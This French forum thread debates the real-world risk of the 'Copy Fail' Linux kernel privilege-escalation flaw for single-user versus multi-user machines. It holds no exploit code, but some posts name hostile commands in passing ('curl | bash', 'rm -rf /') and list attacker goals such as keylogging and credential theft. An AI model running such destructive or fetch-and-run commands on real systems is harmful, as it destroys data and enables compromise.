[^] # Re: Avocat du diable (quel est le risque pour moi ?)
Posté par gUI (Mastodon) . Évalué à 10 (+8/-0). Dernière modification le 30 avril 2026 à 07:51.
Il faut bien être conscient que la séparation utilisateur/administrateur est la principale mesure de sécurité de ton système. Là oui, ça tombe.
Donc lisible et écrivable par tous les comptes à partir de maintenant.
N'importe quel programme exécuté en tant que utilisateur peut choper les droits root. Ton Firefox par exemple, ou ton LibreOffice. C'est 10 lignes de script, ça marche partout. Le font-ils ? Je te laisse faire l'audit du code, mais perso je préfère avoir un kernel sans trou aussi béant, ça évite ce style de questionnement.
C'est surtout qu'il n'a pas intérêt à exécuter n'importe quoi. L'isolation "je leur fais un compte dédié pour éviter les emmerdes" saute immédiatement.
Par exemple un tuto qui contient le fameux
curl | bash, vaut mieux y jeter un oeil avant, les hackeurs de sites Internet vont se ruer sur cette aubaine !En théorie, la théorie et la pratique c'est pareil. En pratique c'est pas vrai.
[^] # Re: Avocat du diable (quel est le risque pour moi ?)
Posté par Nicolas (site web personnel) . Évalué à 6 (+5/-0).
Une solution de sauvegarde automatisée et protégée en écriture (y compris de root, c'est faisable), ça sert à ça aussi.
Si tu n'a aucun serveur installé, si tu en restes aux exécutables fournis pas ta distribution, elle est quasi-nulle.
S'ils en sont à pirater l'ordi. famillial…
[^] # Re: Avocat du diable (quel est le risque pour moi ?)
Posté par impromptux (site web personnel) . Évalué à 1 (+1/-0).
[^] # Re: Avocat du diable (quel est le risque pour moi ?)
Posté par Jean-Philippe Garcia Ballester . Évalué à 3 (+2/-1).
En contexte particuler, ça sert à quoi d'accéder au compte admin quand tu as déjà accès à toutes les données sensibles qui sont dans le compte utilisateur ?
[^] # Re: Avocat du diable (quel est le risque pour moi ?)
Posté par gUI (Mastodon) . Évalué à 4 (+1/-0). Dernière modification le 30 avril 2026 à 14:18.
Ici au boulot j'ai une Ubuntu tout ce qu'il y a de standard, je suis le seul utilisateur, et pourtant j'ai 65 entrées dans
/etc/passwd. C'est à se demander pourquoi tout ne tourne pas sousroot!En théorie, la théorie et la pratique c'est pareil. En pratique c'est pas vrai.
[^] # Re: Avocat du diable (quel est le risque pour moi ?)
Posté par Jean-Philippe Garcia Ballester . Évalué à 2 (+0/-0). Dernière modification le 30 avril 2026 à 15:42.
Au temps pour moi, j'ai lu trop vite, j'ai cru qu'il parlait de code exécuté par l'utilisateur.
Évidemment il faut patcher partout, je ne remets pas ça en question.
Mais comme dit par quelqu'un d'autre, la surface d'attaque est quasi-nulle sur un ordinateur mono-utilisateur.
Pour l'exploiter il faut déjà pouvoir exécuter du code arbitraire.
Quelle quantité de code est utilisé par tes 64 utilisateurs système et quelle quantité est utilisé par ton compte utilisateur humain ?
Si tu as une faille de remote-exec sur ton ordi, il y a quand même de bonnes chances qu'elle soit sur les logiciels que tu fais tourner avec ton compte, non ?
[^] # Re: Avocat du diable (quel est le risque pour moi ?)
Posté par Jean-Philippe Garcia Ballester . Évalué à 4 (+2/-0).
Je suis remonté le fil, tu as écrit :
Si ton firefox peut exécuter du code arbitraire, ça sert à quoi qu'il devienne root ?
Il a déjà accès à ton compte en banque, tes mails, etc.
Tu dis aussi que la séparation root/user est la principale sécurité, je ne suis pas d'accord, pour moi la principale sécurité c'est la sandbox du navigateur…
[^] # Re: Avocat du diable (quel est le risque pour moi ?)
Posté par Voltairine . Évalué à 4 (+2/-0). Dernière modification le 30 avril 2026 à 15:09.
À prendre le contrôle de la machine pour faire des trucs1 avec ?
phishing, spam, minage de cryptos, amplificateur d'attaque, proxy, etc. ↩
[^] # Re: Avocat du diable (quel est le risque pour moi ?)
Posté par Jean-Philippe Garcia Ballester . Évalué à 3 (+1/-0).
tu peux déjà prendre le contrôle si tu peux exécuter du code arbitraire en compte utilisateur, non ?
[^] # Re: Avocat du diable (quel est le risque pour moi ?)
Posté par gUI (Mastodon) . Évalué à 4 (+2/-1). Dernière modification le 30 avril 2026 à 16:41.
ce qui m'ennuie c'est que tu nous reproches un peu ton manque d'imagination et ton manque de connaissances sur le domaine.
la sécu c'est des couches, et là une couche importante saute. c'est tout ce qu'il y a à comprendre. le reste c'est les spécialistes, qui notent comme très critique cette faille.
En théorie, la théorie et la pratique c'est pareil. En pratique c'est pas vrai.
[^] # Re: Avocat du diable (quel est le risque pour moi ?)
Posté par Jean-Philippe Garcia Ballester . Évalué à 2 (+0/-0).
J'avoue que je prends assez mal le ton de ta réponse. Tu noteras que les deux messages auxquels tu réponds posent des questions et n'affirment rien.
Me dire que je reproche aux autres mon manque d'imagination et mon manque de compétences me semble faux, dénigrant, et vexant.
Comment faut-il formuler les choses si ce n'est pas en posant des questions ?
Si tu veux que j'explicite mon avis, le voici.
La faille est évidemment critique et il faut évidemment patcher dès que possible.
La question était de départ du fil était, quelle est la surface d'attaque sur un poste ou la seule chose important est le home de l'utilisateur.
Il me semble que la réponse est, comme dit par quelqu'un d'autre, quasi nulle.
Sauf si ton ordi fait déja parti d'un botnet, c'est-à-dire qu'il y a déjà une faille béante permettant le remote exec sur un compte autre que ton compte utilisateur, il n'y a pas un gros risque à très court terme.
Dans le lien que tu as donné, à la question "should you patch first", il est indiqué "lower" en vert pour ce cas d'usage.
À aucun moment je ne dis qu'il ne faut pas patcher ou qu'on peut faire tout tourner en root sans souci.
Je dis juste que pour un système mono-utilisateur, les failles permettant d'executer du code à distance sont bien plus grave que des failles permettant l'escalation locale de privilège.
Maintenant, si tu peux me partager ton imagination et tes compétences, j'en serai ravi. Et c'était d'ailleurs ma question de départ.
Peux-tu me donner un cas concret ou cette faille permet de faire quelque chose d'utile pour un attaquant sur un système mono-utilisateur ?
[^] # Re: Avocat du diable (quel est le risque pour moi ?)
Posté par gUI (Mastodon) . Évalué à 6 (+3/-0). Dernière modification le 30 avril 2026 à 18:39.
Je ne veux pas te donner d'exemple parce que soit tu me ressors un "oui mais moi ça s'applique pas parce que blablabla" et je repars pour un tour, soit tu es convaincu mais la prochaine fois, avec une faille différente, il va encore falloir donner des exemples.
C'est pas un problème que tu arrives à imaginer ou pas. Il faut avoir confiance dans les attaquants pour y arriver à ta place.
Réfléchis juste à pourquoi il faut un mot de passe pour être root, pourquoi tu ne fais pas toute ta vie en root, pourquoi on crée des utilisateurs différents sur un même système (fais un
wc -l /etc/passwd). Tous ces comptes ont maintenant accès à tout. L'isolation des process explose, mono-utilisateur ou pas.Dis-toi que ton ordi n'a rien de mono-utilisateur. Tu ne maîtrises pas 1% de ce qu'il fait. Ne pars surtout pas du principe qu'il n'existe pas de code malicieux actuellement dans ton ordi.
En théorie, la théorie et la pratique c'est pareil. En pratique c'est pas vrai.
[^] # Re: Avocat du diable (quel est le risque pour moi ?)
Posté par Jean-Philippe Garcia Ballester . Évalué à 3 (+1/-0).
C'est pas normal d'expliquer comment une faille peut être exploitée ?
Je ne comprends pas où tu veux en venir avec ce message.
Quel message cherche-tu à faire passer ?
Qu'il faut patcher au plus vite ? J'ai déjà dit que j'étais d'accord.
Que la faille est critique ? J'ai déjà dit que j'étais d'accord.
Qu'il ne faut pas se poser la question de quelle est la surface d'attaque ? Dans ce cas je ne serai pas d'accord.
À quel moment ai-je dit ça ?
J'ai l'impression que tu me prêtes beaucoup de propos que je n'ai pas tenu. Je fais pourtant beaucoup d'efforts pour être le plus clair possible.
[^] # Re: Avocat du diable (quel est le risque pour moi ?)
Posté par gUI (Mastodon) . Évalué à 3 (+0/-0).
Si, tu peux te les poser, alors poses-toi les. D'ailleurs je t'ai donnée des pistes (pour ne pas dire la réponse).
En théorie, la théorie et la pratique c'est pareil. En pratique c'est pas vrai.
[^] # Re: Avocat du diable (quel est le risque pour moi ?)
Posté par Jean-Philippe Garcia Ballester . Évalué à 2 (+0/-0).
Tu veux dire, si quelqu'un a déjà réussi à un introduire une faille dans un processus qui ne tourne pas en root ni user, alors il a désormais accès aux données sensibles.
C'est bien ça ?
Par ailleurs, mais ça n'invalide pas tes arguments, il y a quatre processus qui tournent sur mon ordi en ni root ni user : timesyncd, dbus, polkit, rtkit.
[^] # Re: Avocat du diable (quel est le risque pour moi ?)
Posté par Jean-Philippe Garcia Ballester . Évalué à 2 (+0/-0).
Je fais une dernière tentative de reformulation.
Sur un système multi-utilisateur, cette faille est directement exploitable par n'importe qui pour avoir un accès à l'intégralité du système.
Sur un système mono-utilisateur, cette faille ne peut être utilisée que en combinaison avec une autre faille.
S'il y a déjà une faille de remote code execution sur un processus utilisateur, ça ne change rien car l'attaquant a déjà les informations importantes.
S'il y a déjà une faille de l'execution de code à distance (donc permettant de transformer ton ordinateur en botnet), alors l'attaquant peut en plus des ressources de l'ordinateur accéder aux informations à protéger.
Lesquelles de ces affirmations sont fausses et pourquoi ?
Encore une les questions que je pose ne sont pas rhétorique, ce sont de vraies questions.
[^] # Re: Avocat du diable (quel est le risque pour moi ?)
Posté par gUI (Mastodon) . Évalué à 4 (+1/-0). Dernière modification le 30 avril 2026 à 19:40.
je voulais pas me je vais t'en donner une. dans tes explications j'ai vraiment l'impression que tu ne penses que aux fichiers. mais il y a plein d'autres trucs à choper.
par exemple une fois root, faire un keylogger c'est trivial. là c'est tes mots de passe qui peuvent fuiter.
EDIT : ah tiens j'en ai une autre rigolote :)
un jour le RAID va débouler chez toi à 6h du mat
- vous hébergez un site pédophile
- ah non
- oh si ! on l'a découvert en enquêtant sur la dernière attaque DDOS sur les sites gouvernementaux
- mais… mon ordi est mono-utilisateur !!!
- ah donc vous confirmez que c'est bien vous qui en êtes à l'origine ?
En théorie, la théorie et la pratique c'est pareil. En pratique c'est pas vrai.
[^] # Re: Avocat du diable (quel est le risque pour moi ?)
Posté par Jean-Philippe Garcia Ballester . Évalué à 3 (+1/-0).
Qui est aussi trivial à faire si tu as accès au compte utilisateur ?
Ce qui est faisable tout aussi bien si tu peux exécuter du code arbitraire sans être root ?
J'essaie vraiment très fort mais pour l'instant je n'arrive toujours pas à changer d'avis. La surface d'attaque, c'est une faille dans systemd-timesyncd, dbus, polkit, rtkit ou d'une de leur dépendance.
[^] # Re: Avocat du diable (quel est le risque pour moi ?)
Posté par gUI (Mastodon) . Évalué à 1 (+0/-2).
Je veux bien que tu m'expliques comment cups par exemple peut keylogguer ce que tu tapes sous Firefox sans droits root.
Essaie plus fort. Ce sera mon dernier conseil.
En théorie, la théorie et la pratique c'est pareil. En pratique c'est pas vrai.
[^] # Re: Avocat du diable (quel est le risque pour moi ?)
Posté par Jean-Philippe Garcia Ballester . Évalué à 3 (+1/-0).
Donc on est d'accord, c'est ce que je dis depuis un moment :
Un cups qui peut exploiter la faille peut déjà transformer ton ordi en botnet, non ?
Je fais aussi des efforts pour être agréable avec toi mais ton méprisant commence à me tendre un peu.
[^] # Re: Avocat du diable (quel est le risque pour moi ?)
Posté par ted (site web personnel) . Évalué à 4 (+2/-0).
Sur mon ordi cupsd tourne apparemment en root o_O (LinuxMint)
Un LUG en Lorraine : https://enunclic-cappel.fr
[^] # Re: Avocat du diable (quel est le risque pour moi ?)
Posté par symp . Évalué à 2 (+1/-0).
Imaginons que le mono-utilisateur, pour une raison ou pour une autre, sous l’emprise d’un psychotrope ou d’un banal excès de confiance, en vienne, un beau jour, à installer un truc logiciel, un exécutable quelconque, trouvé dans un coinstot chelou sur les internets, un code cloné depuis un dépôt respectable et ultrafréquenté — est-on bien sûr que le mono-utilisateur inspecte l’intégralité du code qu’il compile puis installe sur sa machine ? — ou confié par un tiers jusqu’alors-de-confiance.
Imaginons, de surcroît, que ledit truc logiciel, sous couvert de faire quelque chose d’utile, pratique et joli avec les droits du mono-utilisateur, en profite pour, à l’insu du mono-utilisateur, exploiter la faille, usurper les droits root et, je sais pas, moi, ouvrir un accès à distance et prendre ainsi en loucedé le contrôle total de la machine du mono-utilisateur, totipotence indéniablement utile à l’attaquant, quelles que soient ses intentions.
Et bien il y a fort à parier que le mono-utilisateur, tout mono-utilisateur qu’il soit, se trouvera, tôt ou tard, Gros-Jean comme devant.
Si le mono-utilisateur peut, à condition de montrer patte blanche (par exemple avec
suet les credentials idoines), faire ce qui lui chante avec sa machine, ce n’est pas le cas des programmes qu’il installe sans savoir vraiment ce qu’ils font et qui s’exécutent en son nom.[^] # Re: Avocat du diable (quel est le risque pour moi ?)
Posté par Jean-Philippe Garcia Ballester . Évalué à 4 (+2/-0).
Si tu utilises un compte utilisateur séparé à chaque fois que tu executes un bout de code non-inspecté par toi ou un tiers de confiance je suis d'accord, mais c'est une pratique peu répandue ?
Les programmes qui s'executent en son nom peuvent logger son clavier et son écran, c'est suffisant pour donner accès à l'attaquant aux données sensibles, pas besoin de copy fail.
[^] # Re: Avocat du diable (quel est le risque pour moi ?)
Posté par symp . Évalué à 2 (+1/-0).
Si l’attaquant veut faire
rm -rf /sur ta machine, il ne lui suffira pas d’exécuter un programme en ton nom. Avec la faille, ça lui sera possible.[^] # Re: Avocat du diable (quel est le risque pour moi ?)
Posté par Jean-Philippe Garcia Ballester . Évalué à 6 (+4/-0).
Si un attaquant a pu me voler tout mon /home, mettre un keylogger, etc, qu'il puisse supprimer mon /, c'est le cadet de mes soucis !
[^] # Re: Avocat du diable (quel est le risque pour moi ?)
Posté par symp . Évalué à 3 (+2/-0).
Tant mieux pour toi, mais ça n’est pas du tout la question.
Ça n’était qu’un exemple : si l’attaquant peut faire
rm -rf /sur ta machine, alors il peut faire n’importe quoi d’autre. Ta machine est devenue sa machine, potentiellement sans que tu t’en doutes (mais en se faisant passer pour toi). C’est ce que la faille permet.Si l’attaquant (ou l’attaquante) n’a cure de tes précieuses données (ce qui est probable), mais souhaite plutôt devenir, à bon compte, administrateur ou administratrice de ta machine (tout en agissant en ton nom), alors la faille le lui permet. Si ça t’est indifférent, alors tout va bien, laisse donc ton noyau tranquille.
[^] # Re: Avocat du diable (quel est le risque pour moi ?)
Posté par LaurentClaessens (site web personnel) . Évalué à 3 (+1/-0).
En pratique, tu penses à quoi ?
Que peut faire
rootsur ma machine que mon utilisateur ne peut pas déjà faire ?Je doute que les programmes utilisés par les botnet s'installent avec des
apt get—qui nécessite les droits root.[^] # Re: Avocat du diable (quel est le risque pour moi ?)
Posté par barmic 🦦 . Évalué à 5 (+3/-0).
Ils peuvent faire tout en mieux et un peu plus encore.
Pourquoi ils peuvent tout faire mieux ? Parce qu'ils peuvent beaucoup mieux cacher ce qu'ils font. Le fait de pouvoir récrire les binaires permet d'ajouter des règles pour que tu ne puisses plus voir le nouveau deamon ou qu'un binaire n'est pas le bon.
Pourquoi ils peuvent faire plus ? Parce qu'ils peuvent déployer des configuration système permanente comme les MDM. Tu peut te retrouver avec un man in the middle sur le site de ta banque sans aucun signe visible du problème.
Après la stratégie standard c'est les processus qui écoutent sur le réseau sont sur un utilisateur autre que root. Tu sur une machine de bureau tu peux avoir cups pour tes imprimantes réseau, un serveur DLNA pour partager facilement des fichiers multimédia, du bitorren,…
Disons que sur la sécurité :
Cette faille fait tomber cette dernière barrière. Ce n'est pas trop grave pour des utilisateurs, mais ça n'est pas à prendre trop à la légère parce que :
https://linuxfr.org/users/barmic/journaux/y-en-a-marre-de-ce-gros-troll
[^] # Re: Avocat du diable (quel est le risque pour moi ?)
Posté par Jean-Philippe Garcia Ballester . Évalué à 2 (+0/-0).
Merci pour cette réponse détaillée.
Juste un détail, qui n'enlève rien à la pertinence de ta réponse, on peut installer un CA dans firefox sur son propre compte sans être root.
Donc un attaquant qui peut executer du code en user peut faire un mitm sans accès root.
Mais comme tu le dis ce sera beaucoup plus dur à détecter si fait en root.
[^] # Re: Avocat du diable (quel est le risque pour moi ?)
Posté par Samuel (site web personnel) . Évalué à 4 (+3/-0).
Je pense que le désaccord est ici. Ce que dit Jean-Philippe, c'est que sur un système mono-utilisateur (= machine desktop utilisé par une seule personne), les principaux points d'intérêt de l'attaquant sont disponibles sans LPE, simplement avec exécution de code :
- exfiltration de secrets divers : clés SSH (si sous forme de fichiers) et tokens d'authentification si l'utilisateur est un dev, cookies de session si l'utilisateur va sur internet (-> comptes bancaires, réseaux sociaux, whatever)
- s'il y a un client mail en local : exfiltration des messages et contacts pour affiner le prochain phishing
- destruction des données de l'utilisateur (ransomware)
- exécution de code pour participation à un botnet (quel que soit le but: cryptomining, ddos, proxy de trafic suspect…)
- tout ce qui peut passer par la tête de l'attaquant
La faille copy fail permet en plus d'être plus discret et plus persistent dans la réalisation des tâches ci-dessus, en masquant les traces des opérations effectuées, enenfouissant le malware dans le système d'exploitation ou en-deça (rootkit UEFI), mais pas de faire significativement davantage de dégâts.
Ce qui signifie que :
- si on a un système à patcher, on le patche immédiatement.
- si on a plusieurs systèmes à patcher, on commence par ceux qui sont multi-utilisateurs.
[^] # Re: Avocat du diable (quel est le risque pour moi ?)
Posté par Renault (site web personnel) . Évalué à 4 (+3/-2).
Disons surtout que ce que pointe Jean-Philippe c'est que sur un système mono utilisateur il a raison : la faille reste sérieuse dans l'absolue mais le risque d'exploitation est faible et les conséquences le sont probablement aussi.
Notamment parce que ces machines exécutent rarement du code de n'importe où et n'ont pas beaucoup de serveurs pouvant offrant des portes d'entrées potentielles pour faire une telle attaque.
En somme pour ces machines très honnêtement se précipiter pour corriger la faille avant que le noyau à jour ne soit proposée par sa distro me semble exagéré (et on devrait s'étonner que ces personnes là ne le font bizarrement pas pour toutes les autres failles qui peuvent aboutir à la même situation). Appliquer la mise à jour du noyau quand elle est là et être prudent entre temps semble suffisant.
Pour les machines multiutilisateurs ça semble plus embêtant car des services qui exécutent du code de provenance diverses et variées ce n'est pas ce qui manque (CI, serveurs d'entreprises, services cloud ou d'hébergement, etc.). Et il y a de vrais risques et un vrai intérêts pour certains de tenter d'utiliser l'attaque pour prendre le contrôle de ces machines ou infrastructures ou de collecter ou saboter des données d'autres clients auxquels ils ont normalement pas accès.
Là pour le coup le problème est plus sérieux et nécessite des mesures préventives pour ce type de service si la mise à jour du noyau n'est pas disponible.
[^] # Re: Avocat du diable (quel est le risque pour moi ?)
Posté par Jean-Philippe Garcia Ballester . Évalué à 2 (+1/-1).
Merci, je commençais à me sentir vraiment seul et ridicule, j'en ai failli supprimer mon compte linuxfr…
[^] # Re: Avocat du diable (quel est le risque pour moi ?)
Posté par impromptux (site web personnel) . Évalué à 3 (+3/-0). Dernière modification le 01 mai 2026 à 13:24.
Il est possible de tenter d'isoler les applications et de limiter leurs accès à l’extérieur par exemple avec bublewarp ou Firejail(qui est d'ailleurs vulnérable à cette faille de sécurité). Tout cela tombe à l’eau si l’appli arrive à s'échapper du bac à sable ce que cette faille peut permettre de faire.
[^] # Re: Avocat du diable (quel est le risque pour moi ?)
Posté par Jean-Philippe Garcia Ballester . Évalué à 3 (+1/-0).
Oui, ils peuvent aussi accéder à ton home, tes mails, etc.
Mais si ton disque dur n'est pas chiffré (y a-t-il une distribution qui le fait par défaut ?), ils peuvent déjà le faire, relativement facilement (démarrer sur un live usb).
Et même si on disque dur est chiffré, ils peuvent déjà le faire, avec des câbles modifiés (mais c'est nettement plus difficile).
[^] # Re: Avocat du diable (quel est le risque pour moi ?)
Posté par steph1978 . Évalué à 6 (+4/-0).
Pose toi la question : pourquoi tu n’utilises pas tout le temps
rootau lieu d'un utilisateur avec moins de privilège ?[^] # Re: Avocat du diable (quel est le risque pour moi ?)
Posté par cg . Évalué à 4 (+2/-0). Dernière modification le 03 mai 2026 à 11:12.
Hello,
pour ce qui concerne un cas d'usage que j'ai, l'entreprise dans laquelle je travaille fourni des ordis sous Linux aux employé·es, sans accès root. Cette faille leur permet d'obtenir un accès admin pour bricoler un peu ce qu'elles veulent dessus1, et potentiellement faire des conneries qui auront des conséquences plus tard, ou à un bout de code récupéré sur le net d'obtenir cette accès. Donc oui c'est plutôt super grave en fait :-/.
Heureusement que c'est facile à bloquer - et c'est sans doute pour cette (mauvaise) raison que l'équipe de recherche a révélé la faille sans attendre que les distributions majeures soient prêtes.
C'est plus courant qu'on ne le croit ↩
# Rollback de l'exploit
Posté par Simon (site web personnel) . Évalué à 8 (+8/-0).
Pour rollback l'exploit sur une machine :
# Titre complété
Posté par Benoît Sibaud (site web personnel) . Évalué à 10 (+8/-0).
J'ai rajouté Copy Fail dans le titre parce qu'on a déjà des propositions en doublon et ce n'est que le début.
Envoyer un commentaire
Suivre le flux des commentaires
Note : les commentaires appartiennent à celles et ceux qui les ont postés. Nous n’en sommes pas responsables.